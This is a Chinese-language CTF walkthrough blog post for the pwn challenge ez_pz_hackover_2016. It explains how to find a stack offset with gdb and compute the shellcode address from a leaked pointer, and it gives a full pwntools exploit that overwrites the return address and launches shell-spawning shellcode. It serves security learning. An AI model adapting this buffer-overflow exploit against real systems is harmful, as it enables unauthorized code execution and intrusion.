ez_pz_hackover_2016(shellcode)

image
首先检查一下保护,发现没有开启NX保护,说明可以往栈上写shellcode
首先要确定距离ebp的偏移,还有shellcode的地址(将ret覆盖到shellcode的地址上)

确定离ebp偏移的代码
from pwn import *
io=process("./ez_pz_hackover_2016")
context.log_level='debug'
gdb.attach(io,'b *0x08048600')#断点打在nop上,按c后查看stack
io.recvuntil('crash: ')
s_addr=int(io.recv(10),16)
payload=b'crashme\x00'+b'aaaa'
io.sendline(payload)

image
ebp为 38(十进制偏移)0xff86d386(地址十六进制),我们所输入的是crashme,找到cra的位置( c(0x63 )r(0x72) a(0x61)),这里cr跑到上面去了(0020那里)是因为对齐
小端序,故实际上是0x86,0xff,0x63(c),0x72(r),所以我们输入点在0022处
所以偏移为0038-0022=18(0x12)

确定shellcode地址的代码
from pwn import *
io=process("./ez_pz_hackover_2016")
context.log_level='debug'
gdb.attach(io,'b*0x08048600')
io.recvuntil('crash: ')
s_addr=int(io.recv(10),16)
payload='crashme\x00'+'a'*18
payload+=p32(0)+asm(shellcraft.sh())
io.sendline(payload)
覆盖返回地址为shellcode的地址 首先我们泄露出来的地址为0xffed0b9c,而一开始输入shellcode的地址为0xffed0b80,因为每次打出来的地址都不一样,故我们要用泄露出来的地址算偏移,为0x9c-0x80=0x1c,所以shellcode的地址为s_addr-0x1c

image
最后

exp
from pwn import *
#io=remote('node5.buuoj.cn',28702)
io=process('./ez_pz_hackover_2016')
context.log_level='debug'
io.recvuntil('crash: ')#crash后面要有个空格
s_addr=int(io.recv(10),16)
print(hex(s_addr))
gdb.attach(io,'b *0x8048600')
shellcode=asm(shellcraft.sh())
payload=b'crashme\x00'+b'a'*18+p32(s_addr-0x1c)+shellcode
io.sendline(payload)
io.interactive()
posted @ 2025-02-02 13:46  fdddddd  阅读(23)  评论(0)    收藏  举报